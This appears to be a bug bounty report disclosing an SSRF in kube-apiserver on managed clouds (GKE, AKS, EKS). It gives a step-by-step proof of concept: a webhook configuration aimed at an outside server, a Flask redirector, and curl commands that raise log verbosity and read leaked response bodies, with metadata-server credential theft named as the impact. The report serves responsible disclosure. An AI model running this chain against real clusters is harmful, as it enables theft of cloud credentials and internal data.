SSRF for kube-apiserver cloudprovider scene

Report Submission Form ## Summary: attacker can create admissionwebhook cause ssrf in cloudprovider server. cloudprovider like GKE AKS EKS. ## Kubernetes Version: kubernetes v1.18.6 ## Component Version: Docker version 19.03.6, build 369ce74a3c ## Steps To Reproduce: 1. use follwing command create v1.18.6 kubernetes, wait for the download process done. `minikube start --vm-driver=none --kubernetes-version='v1.18.6'` 2.edit `kube-apiserver` options in following path. ``` /etc/kubernetes/manifests/kube-apiserver.yaml add some options to spec.containers.command field. see pic1 --log-dir=/var/log --logtostderr=false ``` {F920720} 3.save following yaml file to disk as poc1.yaml, and run command` kubectl create poc1.yaml`. poc1.yaml ``` apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration metablocked: name: test.config.xxx.io webhooks: - name: test.config.xxx.io rules: - apiGroups: [""] apiVersions: ["v1", "v1beta1"] operations: ["CREATE","DELETE","UPDATE"] resources: ["serviceaccounts"] scope: "*" clientConfig: # modify with your poc2 webserver url: "https://lazydog.me/aa" # if webserver using self-signed certificate must be add caBundle # caBundle: "" admissionReviewVersions: ["v1", "v1beta1"] sideEffects: None timeoutSeconds: 5 ``` 4.use `pip install Flask` to install flask deps, and run `FLASK_ENV=development FLASK_APP=poc1 flask run`. if you using self-signed certificate must be add `--cert PATH --key PATH` arguments to command. poc2.py ```python from flask import Flask, redirect, request, Response app = Flask(__name__) app.port = 80 @app.route('/<path:path>', methods=['POST','GET']) def index(path=''): resp = '' print(request.headers) if path == 'test': res = Response("test") res.headers["Content-Type"] = "application/vnd.kubernetes.protobuf" return res return redirect('http://www.tencent.com/') ``` 5.use `kubectl proxy &` start a apiserver proxy to localhost,and set` klog` level to 10. if not set klog level to 10 is can only recv http failed code response body. ``` curl -XPUT --data "10" http://localhost:8001/debug/flags/v ``` 6.now we can create a serviceaccount let apiserver to request our evil webserver use this command `kubectl create sa testpoc`. {F920762} 7.use `curl http://localhost:8001/logs/kube-apiserver.INFO` to find full response body, is may be include `Response Body:` strings. {F920768} ## Supporting Material/References: - klog set to 10 root cause. https://github.com/kubernetes/client-go/blob/31e286ee1926a84e0bfd4c8c8c77b3816f98244a/rest/request.go#L1072 - This link let our know gke is enabled logs handler https://groups.google.com/g/kubernetes-users/c/gHHhl0hI7GU ## Impact I think this case is like ` CVE-2020–8555`, attacker can cause a full response body ssrf in cloudprovider inner server. if redirect url is metadata server maybe can leak some credentials or other sensitive information.